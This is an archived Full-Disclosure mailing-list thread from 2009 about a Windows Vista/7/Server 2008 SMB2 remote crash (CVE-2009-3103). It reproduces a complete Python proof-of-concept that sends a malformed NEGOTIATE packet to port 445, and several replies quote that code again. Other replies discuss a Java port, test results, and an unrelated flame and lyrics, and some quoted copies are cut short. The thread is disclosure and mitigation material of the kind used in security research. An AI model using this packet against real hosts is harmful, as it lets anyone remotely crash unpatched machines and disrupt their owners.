subject:"\[Full\-disclosure\] Windows Vista\/7 \: SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D."

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

2009-10-05 Thread laurent gaffie

More explication on cve-2009-3103

http://g-laurent.blogspot.com/2009/10/more-explication-on-cve-2009-3103.html
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

2009-09-14 Thread Randal T. Rioux

It's fun :-)

On Mon, September 14, 2009 12:14 pm, D-vice wrote:
You wrote an exploit in java

*head explodes*

On Mon, Sep 14, 2009 at 6:02 AM, Randal T. Rioux
ra...@procyonlabs.comwrote:

After testing my version of the exploit (using Java instead of Python) I
tried it against a Windows Server 2008 R2 installation - it went down.

http://www.procyonlabs.com/software/smb2_bsoder

Randy

laurent gaffie wrote:
Advisory updated :

=
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: High
=

I. VULNERABILITY
-
Windows Vista, Server 2008 R2, 7 RC :
SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

II. BACKGROUND
-
Windows vista and newer Windows comes with a new SMB version named
SMB2.
See:

http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.

III. DESCRIPTION
-
[Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS
patch, for another SMB2.0 security issue:
KB942624 (MS07-063)
Installing only this specific update on Vista SP0 create the following
issue:

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE
PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to
a
SMB server, and it's used to identify the SMB dialect that will be
used
for futher communication.

IV. PROOF OF CONCEPT
-

Smb-Bsod.py:

#!/usr/bin/python
#When SMB2.0 recieve a char in the Process Id High SMB header
field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket

host = IP_ADDR, 445
buff = (
\x00\x00\x00\x90 # Begin SMB header: Session message
\xff\x53\x4d\x42 # Server Component: SMB
\x72\x00\x00\x00 # Negociate Protocol
\x00\x18\x53\xc8 # Operation 0x18 sub 0xc853
\x00\x26# Process ID High: -- :) normal value should be \x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe
\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54
\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31
\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00
\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57
\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61
\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c
\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c
\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e
\x30\x30\x32\x00
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

V. BUSINESS IMPACT
-
An attacker can remotly crash any Vista/Windows 7 machine with SMB
enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

VI. SYSTEMS AFFECTED
-
[Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server
2008
R2, Windows 7 RC.

VII. SOLUTION
-
No patch available for the moment.
Close SMB feature and ports, until a patch is provided.
Configure your firewall properly
You can also follow the MS Workaround:
http://www.microsoft.com/technet/security/advisory/975497.mspx

VIII. REFERENCES
-
http://www.microsoft.com/technet/security/advisory/975497.mspx

http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx

IX. CREDITS
-
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com http://gmail.com

X. REVISION HISTORY
-
September 7th, 2009: Initial release
September 11th, 2009: Revision 1.0 release

XI. LEGAL NOTICES
-
The information contained within this advisory is supplied as-is
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

XII.Personal Notes
-
Many persons have suggested to update this advisory for RCE and not
BSOD:
It wont be done, if they find a way to execute code, they will publish
them advisory.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

2009-09-14 Thread D-vice

You wrote an exploit in java

*head explodes*

On Mon, Sep 14, 2009 at 6:02 AM, Randal T. Rioux ra...@procyonlabs.comwrote:

After testing my version of the exploit (using Java instead of Python) I
tried it against a Windows Server 2008 R2 installation - it went down.

http://www.procyonlabs.com/software/smb2_bsoder

Randy

laurent gaffie wrote:
Advisory updated :

=
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: High
=

I. VULNERABILITY
-
Windows Vista, Server 2008 R2, 7 RC :
SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

II. BACKGROUND
-
Windows vista and newer Windows comes with a new SMB version named SMB2.
See:

http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE
PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a
SMB server, and it's used to identify the SMB dialect that will be used
for futher communication.

IV. PROOF OF CONCEPT
-

Smb-Bsod.py:

#!/usr/bin/python
#When SMB2.0 recieve a char in the Process Id High SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket

V. BUSINESS IMPACT
-
An attacker can remotly crash any Vista/Windows 7 machine with SMB
enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

VI. SYSTEMS AFFECTED
-
[Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008
R2, Windows 7 RC.

VIII. REFERENCES
-
http://www.microsoft.com/technet/security/advisory/975497.mspx

http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx

IX. CREDITS
-
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com http://gmail.com

X. REVISION HISTORY
-
September 7th, 2009: Initial release
September 11th, 2009: Revision 1.0 release

XII.Personal Notes
-
Many persons have suggested to update this advisory for RCE and not BSOD:
It wont be done, if they find a way to execute code, they will publish
them advisory.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

2009-09-14 Thread r1d1nd1rty

Oh WOW! More exploit code ported to Java!!

Hello Randy,
Not everyone would have gone to all the trouble you did for me 
and I want you to know how much I appreciate it. It seems that you 
are always going above and beyond the call of duty. No wonder so 
many people are happy and proud to call you an elite h4x0r. It was 
really wonderful of you to direct port Laurent's SMB2.0 BSOD python 
exploit code in to Java and call it your own, and I'll never be 
able to thank you enough. 

However, in doing so, an apology to Laurent AND the FD list for the 
dissemination of your Java port and post to FD mailing list is 
therefore required. There is simply no need for Java in any 
circumstances, and it is truly a shame to see such a wonderful 
exploit treated in such a horrendous way. Perhaps if you added, 
removed or improved the exploit, an apology would not have been 
required... but you didn't.

Thanks for you time,
  /rd

for dem geeks rdy to bounce 'em

Ya my number two on some old school DJ Screw
You can't arrest me, plus you can't sue
This is a message to the laws, tell 'em We hate you
I could be tough tell 'em that they shoulda known
Tippin down, sittin crooked on my chrome
Bookin my phone, findin a chick I wanna bone
Like they couldn't stop me
I'm bout to pull up at your home, and it's on

...

It's fun :-) 
 On Mon, September 14, 2009 12:14 pm, D-vice wrote: 
  You wrote an exploit in java
 
 
  *head explodes*
 
  On Mon, Sep 14, 2009 at 6:02 AM, Randal T. Rioux
  randy_at_procyonlabs.comwrote:
 
  After testing my version of the exploit (using Java instead of 
Python) I
  tried it against a Windows Server 2008 R2 installation - it 
went down.
 
  http://www.procyonlabs.com/software/smb2_bsoder
 
  Randy
 
 
  laurent gaffie wrote:
   Advisory updated :
  
  
   =
   - Release date: September 7th, 2009
   - Discovered by: Laurent Gaffi�
   - Severity: High
   =
  
   I. VULNERABILITY
-
   Windows Vista, Server 2008  R2, 7 RC :
   SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
  
   II. BACKGROUND
-
   Windows vista and newer Windows comes with a new SMB version 
named
  SMB2.
See:
  
  
http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#S
erver_Message_Block_2.0
   for more details.
  
   III. DESCRIPTION
-
   [Edit]Unfortunatly this SMB2 security issue is specificaly 
due to a MS
   patch, for another SMB2.0 security issue:
   KB942624 (MS07-063)
   Installing only this specific update on Vista SP0 create the 
following
   issue:
  
   SRV2.SYS fails to handle malformed SMB headers for the 
NEGOTIATE
   PROTOCOL REQUEST functionnality.
   The NEGOTIATE PROTOCOL REQUEST is the first SMB query a 
client send to
  a
   SMB server, and it's used to identify the SMB dialect that 
will be
  used
   for futher communication.
  
   IV. PROOF OF CONCEPT
-
  
   Smb-Bsod.py:
  
   #!/usr/bin/python
   #When SMB2.0 recieve a  char in the Process Id High SMB 
header
  field
   #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
  
   from socket import socket
  
   host = IP_ADDR, 445
   buff = (
   \x00\x00\x00\x90 # Begin SMB header: Session message
   \xff\x53\x4d\x42 # Server Component: SMB
   \x72\x00\x00\x00 # Negociate Protocol
   \x00\x18\x53\xc8 # Operation 0x18  sub 0xc853
   \x00\x26# Process ID High: -- :) normal value should be 
\x00\x00
   \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe
   \x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54
   \x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31
   \x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00
   \x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57
   \x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61
   \x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c
   \x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c
   \x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e
   \x30\x30\x32\x00
   )
   s = socket()
   s.connect(host)
   s.send(buff)
   s.close()
  
   V. BUSINESS IMPACT
-
   An attacker can remotly crash any Vista/Windows 7 machine 
with SMB
  enable.
   Windows Xp, 2k, are NOT affected as they dont have this 
driver.
  
   VI. SYSTEMS AFFECTED
-
   [Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win 
Server
  2008
R2, Windows 7 RC.
  
   VII. SOLUTION
-
   No patch available for the moment.
   Close SMB feature and ports, until a patch is provided.
   Configure your firewall properly
   You can also follow the MS Workaround:
   http://www.microsoft.com/technet/security/advisory/975497.mspx
  
   VIII. REFERENCES
-
   http://www.microsoft.com/technet/security/advisory/975497.mspx
  
  http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

2009-09-14 Thread Randal T. Rioux

Scratch that - the version of 2008 I had wasn't an official R2 release. So
original reports still hold. It didn't crash my R2 build 7600.

Laurent, et al, has this been tried against an Itanium machine? Just
curious. Nobody at work will let me test the exploit against their Itanium
servers.

Randy

On Mon, September 14, 2009 12:02 am, Randal T. Rioux wrote:
After testing my version of the exploit (using Java instead of Python) I
tried it against a Windows Server 2008 R2 installation - it went down.

http://www.procyonlabs.com/software/smb2_bsoder

Randy

laurent gaffie wrote:
Advisory updated :

=
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: High
=

I. VULNERABILITY
-
Windows Vista, Server 2008 R2, 7 RC :
SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

II. BACKGROUND
-
Windows vista and newer Windows comes with a new SMB version named SMB2.
See:
http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE
PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a
SMB server, and it's used to identify the SMB dialect that will be used
for futher communication.

IV. PROOF OF CONCEPT
-

Smb-Bsod.py:

#!/usr/bin/python
#When SMB2.0 recieve a char in the Process Id High SMB header
field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket

V. BUSINESS IMPACT
-
An attacker can remotly crash any Vista/Windows 7 machine with SMB
enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

VI. SYSTEMS AFFECTED
-
[Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008
R2, Windows 7 RC.

VIII. REFERENCES
-
http://www.microsoft.com/technet/security/advisory/975497.mspx
http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx

IX. CREDITS
-
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com http://gmail.com

X. REVISION HISTORY
-
September 7th, 2009: Initial release
September 11th, 2009: Revision 1.0 release

XII.Personal Notes
-
Many persons have suggested to update this advisory for RCE and not
BSOD:
It wont be done, if they find a way to execute code, they will publish
them advisory.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

2009-09-13 Thread Randal T. Rioux

After testing my version of the exploit (using Java instead of Python) I
tried it against a Windows Server 2008 R2 installation - it went down.

http://www.procyonlabs.com/software/smb2_bsoder

Randy

laurent gaffie wrote:
Advisory updated :

=
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: High
=

I. VULNERABILITY
-
Windows Vista, Server 2008 R2, 7 RC :
SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE
PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a
SMB server, and it's used to identify the SMB dialect that will be used
for futher communication.

IV. PROOF OF CONCEPT
-

Smb-Bsod.py:

#!/usr/bin/python
#When SMB2.0 recieve a char in the Process Id High SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket

V. BUSINESS IMPACT
-
An attacker can remotly crash any Vista/Windows 7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

VI. SYSTEMS AFFECTED
-
[Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008
R2, Windows 7 RC.

VIII. REFERENCES
-
http://www.microsoft.com/technet/security/advisory/975497.mspx
http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx

IX. CREDITS
-
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com http://gmail.com

X. REVISION HISTORY
-
September 7th, 2009: Initial release
September 11th, 2009: Revision 1.0 release

XII.Personal Notes
-
Many persons have suggested to update this advisory for RCE and not BSOD:
It wont be done, if they find a way to execute code, they will publish
them advisory.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

2009-09-11 Thread laurent gaffie

Advisory updated :

=
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: High
=

I. VULNERABILITY
-
Windows Vista, Server 2008 R2, 7 RC :
SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL
REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB
server, and it's used to identify the SMB dialect that will be used for
futher communication.

IV. PROOF OF CONCEPT
-

Smb-Bsod.py:

#!/usr/bin/python
#When SMB2.0 recieve a char in the Process Id High SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket

V. BUSINESS IMPACT
-
An attacker can remotly crash any Vista/Windows 7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

VI. SYSTEMS AFFECTED
-
[Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008
R2, Windows 7 RC.

VIII. REFERENCES
-
http://www.microsoft.com/technet/security/advisory/975497.mspx
http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx

IX. CREDITS
-
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com

X. REVISION HISTORY
-
September 7th, 2009: Initial release
September 11th, 2009: Revision 1.0 release

XII.Personal Notes
-
Many persons have suggested to update this advisory for RCE and not BSOD:
It wont be done, if they find a way to execute code, they will publish them
advisory.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

2009-09-10 Thread Mitch Oliver

  I. VULNERABILITY
  - -
  Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

This does not appear to apply to the version of Windows 7 released to 
manufacture.  It does, however, 
apply to all beta versions and Windows 2008.

Mitch Oliver

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

2009-09-09 Thread randomguy

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

How come all I hear about is n3td3v, and I see noone crying out
lout about this :
http://www.reversemode.com/index.php?option=com_mamblogItemid=15ta
sk=showaction=viewid=64Itemid=15

is fd all 'bout trolls nao?

- --
=
- - Release date: September 7th, 2009
- - Discovered by: Laurent Gaffié
- - Severity: Medium/High
=

I. VULNERABILITY
- -
Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

II. BACKGROUND
- -
Windows vista and newer Windows comes with a new SMB version named
SMB2.
See:
http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#S
erver_Message_Block_2.0
for more details.

III. DESCRIPTION
- -
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE
PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send
to a SMB server, and it's used
to identify the SMB dialect that will be used for futher
communication.

IV. PROOF OF CONCEPT
- -

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a  char in the Process Id High SMB
header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = IP_ADDR, 445
buff = (
\x00\x00\x00\x90 # Begin SMB header: Session message
\xff\x53\x4d\x42 # Server Component: SMB
\x72\x00\x00\x00 # Negociate Protocol
\x00\x18\x53\xc8 # Operation 0x18  sub 0xc853
\x00\x26# Process ID High: -- :) normal value should be
\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe
\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54
\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31
\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00
\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57
\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61
\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c
\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c
\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e
\x30\x30\x32\x00
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

V. BUSINESS IMPACT
- -
An attacker can remotly crash without no user interaction, any
Vista/Windows 7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

VI. SYSTEMS AFFECTED
- -
Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly
Win Server 2008
as it use the same SMB2.0 driver (not tested).

VII. SOLUTION
- -
Vendor contacted, but no patch available for the moment.
Close SMB feature and ports, until a patch is provided.

VIII. REFERENCES
- -
http://microsoft.com

IX. CREDITS
- -
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
http://g-laurent.blogspot.com/

X. LEGAL NOTICES
- -
The information contained within this advisory is supplied as-is
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
-BEGIN PGP SIGNATURE-
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

wpwEAQMCAAYFAkqnw/YACgkQRVBSp0SbIgeyMQQAoyMwFvi4CWq+2XUcoyIQUp/MxwBr
mUbXX+BJYl6K9ydQqZDxnAwOi24VIBE/xRQcUFMhVH/Uk4zH9KAGzW7/gu3V8Yq0mHPL
pCZ9+Lwml3mNeJOg6oZEyJUhmJTF2WcfXLnmjHbys0oShACWCXBAyqyMVQFdNSja9aeC
6kWcu5Q=
=MjSD
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

2009-09-09 Thread James Matthews

So Msoft! why can't they just stop reintroducing bugs?

On Wed, Sep 9, 2009 at 11:04 AM, random...@hushmail.com wrote:

 -BEGIN PGP SIGNED MESSAGE-
 Hash: SHA1

 How come all I hear about is n3td3v, and I see noone crying out
 lout about this :
 http://www.reversemode.com/index.php?option=com_mamblogItemid=15ta
 sk=showaction=viewid=64Itemid=15http://www.reversemode.com/index.php?option=com_mamblogItemid=15ta%0Ask=showaction=viewid=64Itemid=15

 is fd all 'bout trolls nao?

 - --
 =
 - - Release date: September 7th, 2009
 - - Discovered by: Laurent Gaffié
 - - Severity: Medium/High
 =

 I. VULNERABILITY
 - -
 Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

 II. BACKGROUND
 - -
 Windows vista and newer Windows comes with a new SMB version named
 SMB2.
 See:
 http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#S
 erver_Message_Block_2.0
 for more details.

 III. DESCRIPTION
 - -
 SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE
 PROTOCOL REQUEST functionnality.
 The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send
 to a SMB server, and it's used
 to identify the SMB dialect that will be used for futher
 communication.

 IV. PROOF OF CONCEPT
 - -

 Smb-Bsod.py:

 #!/usr/bin/python
 # When SMB2.0 recieve a  char in the Process Id High SMB
 header field it dies with a
 # PAGE_FAULT_IN_NONPAGED_AREA

 from socket import socket
 from time import sleep

 host = IP_ADDR, 445
 buff = (
 \x00\x00\x00\x90 # Begin SMB header: Session message
 \xff\x53\x4d\x42 # Server Component: SMB
 \x72\x00\x00\x00 # Negociate Protocol
 \x00\x18\x53\xc8 # Operation 0x18  sub 0xc853
 \x00\x26# Process ID High: -- :) normal value should be
 \x00\x00
 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe
 \x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54
 \x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31
 \x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00
 \x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57
 \x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61
 \x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c
 \x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c
 \x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e
 \x30\x30\x32\x00
 )
 s = socket()
 s.connect(host)
 s.send(buff)
 s.close()

 V. BUSINESS IMPACT
 - -
 An attacker can remotly crash without no user interaction, any
 Vista/Windows 7 machine with SMB enable.
 Windows Xp, 2k, are NOT affected as they dont have this driver.

 VI. SYSTEMS AFFECTED
 - -
 Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly
 Win Server 2008
 as it use the same SMB2.0 driver (not tested).

 VII. SOLUTION
 - -
 Vendor contacted, but no patch available for the moment.
 Close SMB feature and ports, until a patch is provided.

 VIII. REFERENCES
 - -
 http://microsoft.com

 IX. CREDITS
 - -
 This vulnerability has been discovered by Laurent Gaffié
 Laurent.gaffie{remove-this}(at)gmail.com
 http://g-laurent.blogspot.com/

 X. LEGAL NOTICES
 - -
 The information contained within this advisory is supplied as-is
 with no warranties or guarantees of fitness of use or otherwise.
 I accept no responsibility for any damage caused by the use or
 misuse of this information.

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/
 -BEGIN PGP SIGNATURE-
 Charset: UTF8
 Note: This signature can be verified at https://www.hushtools.com/verify
 Version: Hush 3.0

 wpwEAQMCAAYFAkqnw/YACgkQRVBSp0SbIgeyMQQAoyMwFvi4CWq+2XUcoyIQUp/MxwBr
 mUbXX+BJYl6K9ydQqZDxnAwOi24VIBE/xRQcUFMhVH/Uk4zH9KAGzW7/gu3V8Yq0mHPL
 pCZ9+Lwml3mNeJOg6oZEyJUhmJTF2WcfXLnmjHbys0oShACWCXBAyqyMVQFdNSja9aeC
 6kWcu5Q=
 =MjSD
 -END PGP SIGNATURE-

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




-- 
http://www.jewelerslounge.com
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

2009-09-07 Thread laurent gaffie

=
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=

I. VULNERABILITY
-
Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

III. DESCRIPTION
-
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL
REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB
server, and it's used
to identify the SMB dialect that will be used for futher communication.

IV. PROOF OF CONCEPT
-

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a char in the Process Id High SMB header field
it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

V. BUSINESS IMPACT
-
An attacker can remotly crash without no user interaction, any Vista/Windows
7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

VI. SYSTEMS AFFECTED
-
Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server
2008
as it use the same SMB2.0 driver (not tested).

VII. SOLUTION
-
Vendor contacted, but no patch available for the moment.
Close SMB feature and ports, until a patch is provided.

VIII. REFERENCES
-
http://microsoft.com

IX. CREDITS
-
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
http://g-laurent.blogspot.com/

X. LEGAL NOTICES
-
The information contained within this advisory is supplied as-is
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

